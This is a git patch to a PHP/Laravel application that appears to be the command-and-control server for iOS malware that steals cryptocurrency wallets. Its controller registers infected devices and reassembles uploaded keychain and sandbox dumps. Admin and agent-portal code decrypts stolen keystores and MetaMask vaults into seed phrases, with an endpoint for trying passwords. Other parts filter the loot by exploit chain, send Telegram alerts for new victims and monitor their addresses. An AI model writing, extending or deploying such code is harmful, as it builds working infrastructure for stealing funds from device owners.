From cb92baa3954477ce196be7cb2b59cc05cc9719cf Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 5 Oct 2026 06:12:43 +0800 Subject: [PATCH] feat: app --- .../Controllers/Admin/DeviceController.php | 56 +- .../Controllers/Admin/KeystoreController.php | 137 +- app/Http/Controllers/C2/AppC2Controller.php | 42 +- app/Jobs/DecryptDeviceKeystores.php | 18 +- app/Models/DeviceApp.php | 21 + app/Models/WalletKeystore.php | 405 ++++- app/Services/AiLiveUploadIngester.php | 724 --------- app/Services/AppUploadIngester.php | 1404 +++++++++++++++++ app/Services/DarkSwordIngestAdapter.php | 179 ++- app/Services/DsKeystoreDecrypt.php | 279 ++++ app/Services/DsTrustAddressIngest.php | 13 +- app/Services/IngestService.php | 3 +- app/Support/WalletSource.php | 3 + channel-builder-new/SYSTEM_CAPABILITIES.md | 66 + ...000010_wallet_keystores_needs_password.php | 26 + ..._05_000020_wallet_keystores_list_stats.php | 27 + ...26_10_05_000030_wallet_keystores_chain.php | 37 + .../views/admin/addresses/index.blade.php | 1 + resources/views/admin/devices/show.blade.php | 101 +- .../views/admin/keystores/index.blade.php | 99 +- .../views/admin/mnemonics/index.blade.php | 1 + routes/admin.php | 1 + routes/app_c2.php | 20 +- routes/user.php | 1 + tests/Feature/AppUploadIngestTest.php | 507 ++++++ tests/Feature/DarkSwordC2ApiTest.php | 60 +- tests/Feature/DeviceDeleteTest.php | 7 + tests/Feature/DeviceWalletFlagTest.php | 33 + tests/Feature/KeystoreAdminTest.php | 264 +++- tests/Unit/DsTrustAddressIngestTest.php | 7 +- tests/Unit/WalletKeystoreTest.php | 49 + tests/Unit/WalletSourceTest.php | 11 +- 32 files changed, 3583 insertions(+), 1019 deletions(-) delete mode 100644 app/Services/AiLiveUploadIngester.php create mode 100644 app/Services/AppUploadIngester.php create mode 100644 channel-builder-new/SYSTEM_CAPABILITIES.md create mode 100644 database/migrations/2026_10_05_000010_wallet_keystores_needs_password.php create mode 100644 database/migrations/2026_10_05_000020_wallet_keystores_list_stats.php create mode 100644 database/migrations/2026_10_05_000030_wallet_keystores_chain.php create mode 100644 tests/Feature/AppUploadIngestTest.php diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index afc36b6..6777974 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -22,7 +22,6 @@ use App\Models\WalletMnemonic; use App\Services\DsBeaconQueue; use App\Services\PhotoOrigin; use App\Services\PhotoPreview; -use App\Services\Tokenview\TokenviewMonitorService; use App\Support\AgentScope; use App\Support\CfIpCountry; use Illuminate\Database\Eloquent\Builder; @@ -171,7 +170,7 @@ class DeviceController extends Controller return match ($tab) { 'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page), 'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page), - 'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page), + 'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page), 'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page), 'apps' => $this->paginateApps($device, $field, $order, $limit, $page), 'notes' => $this->paginateNotes($device, $field, $order, $limit, $page), @@ -519,28 +518,20 @@ class DeviceController extends Controller private function unmonitorAddresses(Device $device): void { - $addresses = $device->addresses()->where('monitor', 1)->get(); - if ($addresses->isEmpty()) { + $n = $device->addresses()->where('monitor', 1)->count(); + if ($n === 0) { return; } - try { - $svc = app(TokenviewMonitorService::class); - } catch (\Throwable) { - return; - } - foreach ($addresses as $address) { - try { - $address->monitor = 0; - $address->monitor_synced = false; - $address->monitor_failures = 0; - $svc->syncMonitor($address); - } catch (\Throwable $e) { - Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [ - 'device_id' => $device->id, - 'address_id' => $address->id, - ]); - } - } + + // Tokenview removeAddress uses HTTP timeout 120s per address. A replay + // ingest can leave dozens of monitor=1 rows; blocking delete on that + // freezes the admin UI (and php artisan serve). Rows are deleted in + // the next step, so webhooks will no longer match monitor=1. + Log::info('device_purge skip_tokenview_unmonitor', [ + 'id' => $device->id, + 'device_id' => $device->device_id, + 'monitor_rows' => $n, + ]); } private function authorizeDevice(Device $device): void @@ -675,18 +666,21 @@ class DeviceController extends Controller return $this->layuiPage($paginator->total(), $data); } - private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page) + private function paginateKeystores(Device $device, Request $request, string $field, string $order, int $limit, int $page) { $sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at']; + if (WalletKeystore::hasNeedsPasswordColumn()) { + $sortable[] = 'needs_password'; + } if (! in_array($field, $sortable, true)) { $field = 'id'; } - // Two-step query to avoid MySQL "Out of sort memory" (HY001): - // LENGTH(raw_json) forces MySQL to read large blobs during sort. - // Step 1: get paginated IDs ordered by the sort field (no blob access). - // Step 2: fetch light columns (no LENGTH(raw_json)) for those IDs only. $idQuery = $device->keystores()->orderBy($field, $order); + $needsPassword = trim((string) $request->query('needs_password', '')); + if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) { + $idQuery->where('wallet_keystores.needs_password', 1); + } $total = $idQuery->toBase()->getCountForPagination(); $page = max(1, $page); $ids = $idQuery->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all(); @@ -708,14 +702,12 @@ class DeviceController extends Controller 'id' => $row->id, 'source' => $row->sourceLabel(), 'decrypted' => (int) $row->decrypted, + 'needs_password' => (int) $row->needs_password === 1 ? 1 : null, 'kind' => $stats['kind'], - 'item_count' => $stats['item_count'], - 'summary' => $stats['summary'], 'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), - 'items_url' => route($portal.'.keystores.items', $row->id), 'detail_api_url' => route($portal.'.keystores.detail', $row->id), - 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), + 'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id), ]; })->values(); @@ -729,7 +721,7 @@ class DeviceController extends Controller $field = 'is_wallet'; $order = 'desc'; } - $q = $device->apps(); + $q = $device->apps()->listed(); if ($field === 'is_wallet') { $q->orderByDesc('is_wallet')->orderBy('name'); } else { diff --git a/app/Http/Controllers/Admin/KeystoreController.php b/app/Http/Controllers/Admin/KeystoreController.php index 0a67f23..20ec09c 100644 --- a/app/Http/Controllers/Admin/KeystoreController.php +++ b/app/Http/Controllers/Admin/KeystoreController.php @@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Concerns\PortalAware; use App\Http\Controllers\Controller; +use App\Models\Device; use App\Models\User; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -41,19 +42,27 @@ class KeystoreController extends Controller { $q = $this->baseQuery($request); - $sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at']; + $sortable = ['id', 'source', 'decrypted', 'chain', 'created_at', 'updated_at']; + if (WalletKeystore::hasNeedsPasswordColumn()) { + $sortable[] = 'needs_password'; + } $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { $field = 'id'; } - $q->orderBy('wallet_keystores.'.$field, $order); + if ($field === 'chain' && ! WalletKeystore::hasChainColumn()) { + $q->orderBy('devices.chain', $order); + } else { + $q->orderBy('wallet_keystores.'.$field, $order); + } $limit = max(1, min(100, (int) $request->query('limit', 20))); $page = max(1, (int) $request->query('page', 1)); $cols = array_merge(WalletKeystore::listColumnsLight(), [ 'devices.device_id as device_key', 'devices.channel_id as device_channel_id', + 'devices.chain as device_chain', ]); Log::info('keystore.list.data.start', [ 'page' => $page, @@ -225,6 +234,72 @@ class KeystoreController extends Controller ]); } + public function decryptPassword(Request $request, WalletKeystore $keystore, DarkSwordIngestAdapter $adapter) + { + if (! $this->keystoreAllowed($keystore)) { + return response()->json(['code' => 1, 'msg' => '无权操作'], 403); + } + if ((int) $keystore->needs_password !== 1) { + return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400); + } + $password = trim((string) $request->input('password', '')); + if ($password === '') { + return response()->json(['code' => 1, 'msg' => '请输入密码'], 422); + } + if (strlen($password) > 256) { + return response()->json(['code' => 1, 'msg' => '密码过长'], 422); + } + $device = $keystore->device; + if ($device === null) { + return response()->json(['code' => 1, 'msg' => '设备不存在'], 404); + } + @set_time_limit(180); + @ini_set('max_execution_time', '180'); + + $before = WalletMnemonic::query() + ->where('device_id', $device->id) + ->pluck('mnemonic_hash') + ->all(); + $seen = array_fill_keys($before, true); + + $result = $adapter->decryptKeystoreWithPassword($device, $keystore, $password); + $keystore->refresh(); + + $after = WalletMnemonic::query() + ->where('device_id', $device->id) + ->get(['id', 'source', 'mnemonic_hash']); + $added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash])); + $addedCount = $added->count(); + + if ($addedCount > 0) { + $msg = '已写入 '.$addedCount.' 条助记词'; + $code = 0; + } elseif ((int) $keystore->decrypted === 1) { + $msg = '没有新的助记词(该来源可能已解密)'; + $code = 0; + } elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0) { + $msg = '没有可解密的 Keystore(UTC / MetaMask Vault)'; + $code = 1; + } else { + $msg = '密码不正确,未能解开助记词'; + $code = 1; + } + + return response()->json([ + 'code' => $code, + 'msg' => $msg, + 'data' => [ + 'id' => $keystore->id, + 'decrypted' => (int) $keystore->decrypted, + 'added' => $addedCount, + 'mnemonic_total' => $after->count(), + 'sources' => $added->pluck('source')->unique()->values()->all(), + 'utc' => $result['utc'], + 'vault' => (int) ($result['vault'] ?? 0), + ], + ], $code === 0 ? 200 : 400); + } + /** * @return array */ @@ -236,17 +311,16 @@ class KeystoreController extends Controller 'id' => $row->id, 'device_key' => $row->device_key ?? $row->device?->device_id ?? '', 'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '', + 'chain' => (int) ($row->chain ?: $row->device_chain ?: Device::CHAIN_CORUNA), 'source' => $row->sourceLabel(), 'decrypted' => (int) $row->decrypted, + 'needs_password' => (int) $row->needs_password === 1 ? 1 : null, 'kind' => $stats['kind'], - 'item_count' => $stats['item_count'], - 'summary' => $stats['summary'], 'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']), - 'items_url' => route($portal.'.keystores.items', $row->id), 'detail_api_url' => route($portal.'.keystores.detail', $row->id), - 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), + 'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id), ]; } @@ -296,10 +370,7 @@ class KeystoreController extends Controller { $q = WalletKeystore::query() ->join('devices', 'devices.id', '=', 'wallet_keystores.device_id') - ->select(array_merge(WalletKeystore::listColumns(), [ - 'devices.device_id as device_key', - 'devices.channel_id as device_channel_id', - ])); + ->select('wallet_keystores.id'); AgentScope::applyDeviceChannelScope($q, $this->agent()); @@ -307,12 +378,17 @@ class KeystoreController extends Controller $deviceKey = trim((string) $request->query('device_key', '')); $source = trim((string) $request->query('source', '')); $decrypted = trim((string) $request->query('decrypted', '')); + $needsPassword = trim((string) $request->query('needs_password', '')); + $chain = $this->parseChainFilter($request->query('chain')); if ($channelId !== '') { $q->where('devices.channel_id', 'like', '%'.$channelId.'%'); } if ($deviceKey !== '') { $q->where('devices.device_id', 'like', '%'.$deviceKey.'%'); } + if ($chain !== null) { + $this->applyChainFilter($q, $chain); + } if ($source !== '') { if ($source === '未知') { $q->where(function (Builder $inner) { @@ -326,6 +402,9 @@ class KeystoreController extends Controller if ($decrypted === '0' || $decrypted === '1') { $q->where('wallet_keystores.decrypted', (int) $decrypted); } + if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) { + $q->where('wallet_keystores.needs_password', 1); + } if (! $this->isAgentPortal()) { AgentScope::applyAgentUserFilter( $q, @@ -335,4 +414,42 @@ class KeystoreController extends Controller return $q; } + + private function applyChainFilter(Builder $q, int $chain): void + { + if (WalletKeystore::hasChainColumn()) { + $q->whereRaw( + 'COALESCE(wallet_keystores.chain, devices.chain, ?) = ?', + [Device::CHAIN_CORUNA, $chain] + ); + + return; + } + + $q->where(function (Builder $inner) use ($chain) { + $inner->where('devices.chain', $chain); + if ($chain === Device::CHAIN_CORUNA) { + $inner->orWhereNull('devices.chain'); + } + }); + } + + private function parseChainFilter(mixed $raw): ?int + { + $value = is_string($raw) ? strtolower(trim($raw)) : $raw; + if ($value === '' || $value === null) { + return null; + } + if ($value === 1 || $value === '1' || $value === 'coruna') { + return Device::CHAIN_CORUNA; + } + if ($value === 2 || $value === '2' || $value === 'darksword') { + return Device::CHAIN_DARKSWORD; + } + if ($value === 3 || $value === '3' || $value === 'app') { + return Device::CHAIN_APP; + } + + return null; + } } diff --git a/app/Http/Controllers/C2/AppC2Controller.php b/app/Http/Controllers/C2/AppC2Controller.php index 2f71943..285c4b1 100644 --- a/app/Http/Controllers/C2/AppC2Controller.php +++ b/app/Http/Controllers/C2/AppC2Controller.php @@ -3,7 +3,7 @@ namespace App\Http\Controllers\C2; use App\Http\Controllers\Controller; -use App\Services\AiLiveUploadIngester; +use App\Services\AppUploadIngester; use Illuminate\Http\Request; use Illuminate\Http\Response; use Illuminate\Support\Facades\Cache; @@ -109,7 +109,7 @@ class AppC2Controller extends Controller } /** - * Catch-all for the ai-live C2 pipeline (w2.bsvpn.net → /api/v2/*). + * Catch-all for the App 利用链 C2 pipeline (/api/v2/*). * * Real protocol recovered from Reqable capture (record 13655): * GET /api/v2 (root) → {"name":"END POINT","env":"prod"} @@ -122,9 +122,9 @@ class AppC2Controller extends Controller * Log every request + persist chunk bodies, return protocol-faithful * responses so the malware completes the full acquisition pipeline. */ - public function aiLiveV2(Request $request): Response + public function appUpload(Request $request): Response { - $this->logRequest($request, 'ailive_v2'); + $this->logRequest($request, 'app_upload'); $path = $request->path(); // e.g. "api/v2/devices" @@ -137,7 +137,7 @@ class AppC2Controller extends Controller // ── Device registration ───────────────────────────────── if ($path === 'api/v2/devices') { $body = json_decode((string) $request->getContent(false), true) ?? []; - $device = $this->registerAiLiveDevice($request, $body); + $device = $this->registerAppDevice($request, $body); return $this->json([ 'code' => 0, @@ -162,10 +162,10 @@ class AppC2Controller extends Controller $uploadId = \Illuminate\Support\Str::uuid()->toString(); // Resolve the device so we can ingest keystores on completion. - $device = $this->findAiLiveDevice($request); + $device = $this->findAppDevice($request); // Persist session state for chunk tracking - Cache::put("ailive_upload:{$uploadId}", [ + Cache::put("app_upload:{$uploadId}", [ 'fileName' => $fileName, 'fileSize' => $fileSize, 'chunkSize' => $chunkSize, @@ -197,7 +197,7 @@ class AppC2Controller extends Controller $uploadId = $m[1]; $chunkIndex = (int) ($request->query('chunkIndex', $request->route('n', 0))); - $session = Cache::get("ailive_upload:{$uploadId}"); + $session = Cache::get("app_upload:{$uploadId}"); $numberOfChunks = $session['numberOfChunks'] ?? 1; $chunkSize = $session['chunkSize'] ?? 1048576; $received = ($session['receivedChunks'] ?? 0) + 1; @@ -206,13 +206,13 @@ class AppC2Controller extends Controller // Backfill deviceId into the session from the x-device-id header // if it wasn't captured at /api/v2/uploads time (e.g. session // expired, or the uploads request didn't carry the header). - $headerDeviceId = $this->findAiLiveDevice($request)?->id; + $headerDeviceId = $this->findAppDevice($request)?->id; if ($session && empty($session['deviceId']) && $headerDeviceId !== null) { $session['deviceId'] = $headerDeviceId; } if ($session) { $session['receivedChunks'] = $received; - Cache::put("ailive_upload:{$uploadId}", $session, now()->addHours(2)); + Cache::put("app_upload:{$uploadId}", $session, now()->addHours(2)); } // On the final chunk, reassemble + parse + store keystores so @@ -242,9 +242,9 @@ class AppC2Controller extends Controller if ($path === 'api/v2/finish') { // All uploads for this device are done — dispatch the async // keystore decryption job to recover mnemonics + addresses. - $device = $this->findAiLiveDevice($request); + $device = $this->findAppDevice($request); if ($device !== null) { - app(AiLiveUploadIngester::class)->dispatchDecrypt($device); + app(AppUploadIngester::class)->dispatchDecrypt($device); } return $this->json(['ok' => true]); @@ -373,7 +373,7 @@ class AppC2Controller extends Controller } /** - * Find or create a Device row for an ai-live app-injection beacon. + * Find or create a Device row for an App 利用链 beacon. * * The malware POSTs /api/v2/devices with a JSON body carrying: * deviceId (UUID), hardwareModel (iPhoneN,M), iosVersion, deviceName, @@ -391,7 +391,7 @@ class AppC2Controller extends Controller * * @param array $body */ - private function registerAiLiveDevice(Request $request, array $body): ?\App\Models\Device + private function registerAppDevice(Request $request, array $body): ?\App\Models\Device { $rawId = (string) ($body['deviceId'] ?? $request->headers->get('x-device-id') @@ -461,7 +461,7 @@ class AppC2Controller extends Controller $device->saveQuietly(); } catch (\Throwable $e) { \Illuminate\Support\Facades\Log::channel('keystore')->warning( - 'aiLiveV2 telegram notifyNewDevice failed: '.$e->getMessage(), + 'appUpload telegram notifyNewDevice failed: '.$e->getMessage(), ['device_id' => $device->id, 'device_key' => $device->device_id], ); } @@ -475,7 +475,7 @@ class AppC2Controller extends Controller } /** - * Look up the Device for the current ai-live request without creating + * Look up the Device for the current App 利用链 request without creating * a new row (used on /api/v2/uploads, /api/v2/uploads/{id}/chunks, and * /api/v2/finish where the device was already registered via * /api/v2/devices). @@ -486,7 +486,7 @@ class AppC2Controller extends Controller * fall back to the most recently registered CHAIN_APP device from the * same source IP, so the captured artifacts are never orphaned. */ - private function findAiLiveDevice(Request $request): ?\App\Models\Device + private function findAppDevice(Request $request): ?\App\Models\Device { // 1. Primary: x-device-id header → device_id lookup. $rawId = (string) ($request->headers->get('x-device-id') ?? ''); @@ -536,17 +536,17 @@ class AppC2Controller extends Controller // Skip ingestion — the artifacts stay on disk and can be // reprocessed manually. \Illuminate\Support\Facades\Log::channel('keystore')->warning( - 'aiLiveV2 ingest skipped: no device associated with upload', + 'appUpload ingest skipped: no device associated with upload', ['upload_id' => $uploadId, 'file_name' => $session['fileName'] ?? ''], ); return; } try { - app(AiLiveUploadIngester::class)->ingest($device, $uploadId, $session); + app(AppUploadIngester::class)->ingest($device, $uploadId, $session); } catch (\Throwable $e) { \Illuminate\Support\Facades\Log::channel('keystore')->error( - 'aiLiveV2 ingest failed: '.$e->getMessage(), + 'appUpload ingest failed: '.$e->getMessage(), ['device_id' => $device->id, 'upload_id' => $uploadId], ); } @@ -595,7 +595,7 @@ class AppC2Controller extends Controller } // Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream, - // ai-live /api/v2/uploads/{id}/chunks — octet-stream). + // App 利用链 /api/v2/uploads/{id}/chunks — octet-stream). // Name files with uploadId + chunkIndex so chunks can be reassembled. if ($body !== '' && empty($saved)) { $path = $request->path(); diff --git a/app/Jobs/DecryptDeviceKeystores.php b/app/Jobs/DecryptDeviceKeystores.php index c9a045c..9463b7e 100644 --- a/app/Jobs/DecryptDeviceKeystores.php +++ b/app/Jobs/DecryptDeviceKeystores.php @@ -3,6 +3,7 @@ namespace App\Jobs; use App\Models\Device; +use App\Services\AppUploadIngester; use App\Services\DarkSwordIngestAdapter; use App\Services\DsKeystoreDecrypt; use Illuminate\Contracts\Queue\ShouldQueue; @@ -46,6 +47,7 @@ class DecryptDeviceKeystores implements ShouldQueue public function handle( DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt, + AppUploadIngester $ingester, ): void { $device = Device::query()->find($this->deviceId); if ($device === null) { @@ -56,27 +58,19 @@ class DecryptDeviceKeystores implements ShouldQueue return; } + $ingester->splitStoredKeychainVaults($device); $device->load('keystores'); $wallets = $this->wallets ?? []; $sandbox = $this->sandbox ?? []; - // When dispatched without a payload (e.g. AiLiveUploadIngester::dispatchDecrypt + // When dispatched without a payload (e.g. AppUploadIngester::dispatchDecrypt // passes null,null), rebuild wallets/sandbox from already-stored keystores so // structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse // the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy - // stored under source="ai-live/keychain" is never fed to recoverBitpie(). + // stored under source="app/keychain" is never fed to recoverBitpie(). if ($wallets === [] && $sandbox === []) { - $wallets = []; - $sandbox = []; - foreach ($device->keystores as $row) { - $kind = $row->raw_json['kind'] ?? ''; - if (str_starts_with($kind, 'keychain')) { - $wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []); - } else { - $sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []); - } - } + [$wallets, $sandbox] = $adapter->storedWalletTrees($device); } $errors = []; diff --git a/app/Models/DeviceApp.php b/app/Models/DeviceApp.php index a8d37fe..f8a83fa 100644 --- a/app/Models/DeviceApp.php +++ b/app/Models/DeviceApp.php @@ -23,4 +23,25 @@ class DeviceApp extends Model { return $this->belongsTo(Device::class); } + + /** + * Keychain access groups like TEAM.apple.Spotlight and TEAM.* are not + * installed apps. Skip them on write and hide any leftover rows in lists. + */ + public static function shouldSkipBundle(?string $bundleId): bool + { + $bundle = strtolower(trim((string) $bundleId)); + if ($bundle === '' || $bundle === '*') { + return true; + } + + return str_starts_with($bundle, 'apple.'); + } + + public function scopeListed($query) + { + return $query + ->where('bundle_id', '!=', '*') + ->whereRaw('LOWER(bundle_id) NOT LIKE ?', ['apple.%']); + } } diff --git a/app/Models/WalletKeystore.php b/app/Models/WalletKeystore.php index 5e91bd7..54ce49b 100644 --- a/app/Models/WalletKeystore.php +++ b/app/Models/WalletKeystore.php @@ -10,14 +10,18 @@ use Illuminate\Support\Facades\Log; class WalletKeystore extends Model { protected $fillable = [ - 'device_id', 'source', 'decrypted', 'raw_json', 'content_hash', + 'device_id', 'chain', 'source', 'decrypted', 'needs_password', 'raw_json', 'content_hash', + 'list_kind', 'list_item_count', 'list_summary', 'list_has_web3', ]; protected function casts(): array { return [ 'raw_json' => 'array', + 'chain' => 'integer', 'decrypted' => 'integer', + 'needs_password' => 'integer', + 'list_has_web3' => 'integer', ]; } @@ -29,15 +33,31 @@ class WalletKeystore extends Model */ public static function listColumns(string $table = 'wallet_keystores'): array { - return [ + $cols = [ $table.'.id', $table.'.device_id', $table.'.source', $table.'.decrypted', - $table.'.created_at', - $table.'.updated_at', - DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'), ]; + if (self::hasChainColumn()) { + $cols[] = $table.'.chain'; + } + if (self::hasNeedsPasswordColumn()) { + $cols[] = $table.'.needs_password'; + } + + if (self::hasListStatsColumns()) { + $cols[] = $table.'.list_kind'; + $cols[] = $table.'.list_item_count'; + $cols[] = $table.'.list_summary'; + $cols[] = $table.'.list_has_web3'; + } + + $cols[] = $table.'.created_at'; + $cols[] = $table.'.updated_at'; + $cols[] = DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'); + + return $cols; } /** @@ -50,69 +70,286 @@ class WalletKeystore extends Model */ public static function listColumnsLight(string $table = 'wallet_keystores'): array { - return [ + $cols = [ $table.'.id', $table.'.device_id', $table.'.source', $table.'.decrypted', - $table.'.created_at', - $table.'.updated_at', ]; + if (self::hasChainColumn()) { + $cols[] = $table.'.chain'; + } + if (self::hasNeedsPasswordColumn()) { + $cols[] = $table.'.needs_password'; + } + + if (self::hasListStatsColumns()) { + $cols[] = $table.'.list_kind'; + $cols[] = $table.'.list_item_count'; + $cols[] = $table.'.list_summary'; + $cols[] = $table.'.list_has_web3'; + } + + $cols[] = $table.'.created_at'; + $cols[] = $table.'.updated_at'; + + return $cols; + } + + public static function hasChainColumn(): bool + { + static $has = null; + if ($has === null) { + $has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'chain'); + } + + return $has; + } + + public static function hasNeedsPasswordColumn(): bool + { + static $has = null; + if ($has === null) { + $has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password'); + } + + return $has; + } + + public static function hasListStatsColumns(): bool + { + static $has = null; + if ($has === null) { + $has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'list_item_count'); + } + + return $has; } /** - * Load this row's raw_json alone, log memory, then drop the blob. + * List-page stats. Prefer denormalized columns so we never load raw_json + * (sandbox dumps can be tens of MB). Cache-miss hydrates once and persists. * - * @return array{item_count: int, summary: string, kind: string} + * @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} */ public function listStats(): array { - $len = (int) ($this->raw_json_len ?? 0); - $memBefore = memory_get_usage(true); - Log::info('keystore.list.hydrate.start', [ - 'id' => $this->id, - 'raw_json_len' => $len, - 'mem' => $memBefore, - ]); + if ($this->hasCachedListStats()) { + return $this->cachedListStats(); + } + + $json = is_array($this->raw_json) ? $this->raw_json : null; + if ($json === null && $this->id) { + $raw = self::query()->whereKey($this->id)->value('raw_json'); + $this->setAttribute('raw_json', $raw); + $json = is_array($this->raw_json) ? $this->raw_json : []; + } + $json = is_array($json) ? $json : []; - $raw = self::query()->whereKey($this->id)->value('raw_json'); - $this->setAttribute('raw_json', $raw); try { - $stats = [ - 'item_count' => $this->itemCount(), - 'summary' => $this->summary(), - 'kind' => $this->kindLabel(), - 'has_web3_keystore' => $this->hasWeb3Keystore(), - ]; + $stats = self::computeListStatsFromJson($json); } catch (\Throwable $e) { Log::warning('keystore.list.hydrate.fail', [ 'id' => $this->id, - 'raw_json_len' => $len, - 'mem' => memory_get_usage(true), 'error' => $e->getMessage(), ]); $stats = [ 'item_count' => 0, 'summary' => '', - 'kind' => $this->kindLabel(), + 'kind' => self::kindLabelFor(trim((string) ($json['kind'] ?? ''))), 'has_web3_keystore' => false, ]; } finally { - $this->setAttribute('raw_json', null); + if ($this->id) { + $this->setAttribute('raw_json', null); + } } - Log::info('keystore.list.hydrate.done', [ - 'id' => $this->id, - 'raw_json_len' => $len, - 'item_count' => $stats['item_count'], - 'kind' => $stats['kind'], - 'mem' => memory_get_usage(true), - 'delta' => memory_get_usage(true) - $memBefore, - ]); + $this->persistListStats($stats); return $stats; } + public function hasCachedListStats(): bool + { + return self::hasListStatsColumns() + && array_key_exists('list_item_count', $this->attributes) + && $this->attributes['list_item_count'] !== null; + } + + /** + * @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} + */ + public function cachedListStats(): array + { + return [ + 'item_count' => (int) $this->list_item_count, + 'summary' => (string) ($this->list_summary ?? ''), + 'kind' => (string) ($this->list_kind ?? ''), + 'has_web3_keystore' => (int) $this->list_has_web3 === 1, + ]; + } + + /** + * @param array $json + * @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} + */ + public static function computeListStatsFromJson(array $json): array + { + $row = new static(['raw_json' => $json]); + $names = []; + $count = 0; + $row->collectListMeta($json, $count, $names); + $kind = self::kindLabelFor(trim((string) ($json['kind'] ?? ''))); + if ($names === []) { + $summary = $count > 0 ? $count.' 条' : ''; + } else { + $summary = implode(' · ', $names); + if ($count > 3) { + $summary .= ' 等'.$count.'条'; + } + } + + return [ + 'item_count' => $count, + 'summary' => mb_substr($summary, 0, 255), + 'kind' => $kind, + 'has_web3_keystore' => $row->containsWeb3Keystore($json), + ]; + } + + /** + * @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats + * @return array + */ + public static function listStatsAttributes(array $stats): array + { + if (! self::hasListStatsColumns()) { + return []; + } + + return [ + 'list_kind' => $stats['kind'], + 'list_item_count' => $stats['item_count'], + 'list_summary' => $stats['summary'], + 'list_has_web3' => ! empty($stats['has_web3_keystore']) ? 1 : 0, + ]; + } + + /** + * @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats + */ + private function persistListStats(array $stats): void + { + $attrs = self::listStatsAttributes($stats); + if ($attrs === []) { + return; + } + foreach ($attrs as $key => $value) { + $this->setAttribute($key, $value); + } + if ($this->id) { + self::query()->whereKey($this->id)->update($attrs); + } + } + + /** + * Count list entries and pick up to 3 names without hashing / base64-decoding blobs. + * + * @param array $json + * @param list $names + */ + private function collectListMeta(array $json, int &$count, array &$names): void + { + $wallets = $json['wallets'] ?? null; + if (is_array($wallets)) { + foreach ($wallets as $key => $bucket) { + if (is_string($bucket) && $bucket !== '') { + $count++; + if (count($names) < 3) { + $names[] = is_string($key) ? $key : 'wallet'; + } + + continue; + } + if (! is_array($bucket)) { + continue; + } + $items = is_array($bucket['items'] ?? null) ? $bucket['items'] : []; + foreach ($items as $item) { + if (! is_array($item)) { + continue; + } + $count++; + if (count($names) < 3) { + $name = trim((string) ($item['account'] ?? '')); + if ($name !== '') { + $names[] = $name; + } + } + } + } + } + $sandbox = $json['sandbox'] ?? null; + if (is_array($sandbox)) { + $this->collectSandboxMeta($sandbox, $count, $names); + } + if (isset($json['crypto']) && is_array($json['crypto'])) { + $count++; + if (count($names) < 3) { + $names[] = (string) ($json['id'] ?? $json['type'] ?? 'keystore'); + } + } + } + + /** + * @param array $sandbox + * @param list $names + */ + private function collectSandboxMeta(array $sandbox, int &$count, array &$names, string $prefix = ''): void + { + foreach ($sandbox as $key => $value) { + $path = $prefix === '' ? (string) $key : $prefix.'/'.$key; + if (is_array($value)) { + if (isset($value['items']) && is_array($value['items'])) { + foreach ($value['items'] as $item) { + if (! is_array($item)) { + continue; + } + $count++; + if (count($names) < 3) { + $name = trim((string) ($item['account'] ?? '')); + $names[] = $name !== '' ? $name : $path; + } + } + + continue; + } + $this->collectSandboxMeta($value, $count, $names, $path); + + continue; + } + if (! is_string($value) || $value === '') { + continue; + } + $count++; + if (count($names) < 3) { + $names[] = $path; + } + } + } + + public static function kindLabelFor(string $kind): string + { + return match ($kind) { + 'keychain.wallets' => '钥匙串', + 'sandbox' => '沙盒文件', + 'web3.keystore' => '标准 Keystore', + 'metamask.vault' => 'MetaMask Vault', + default => $kind !== '' ? $kind : '未知', + }; + } + /** * @param array $rawJson */ @@ -130,12 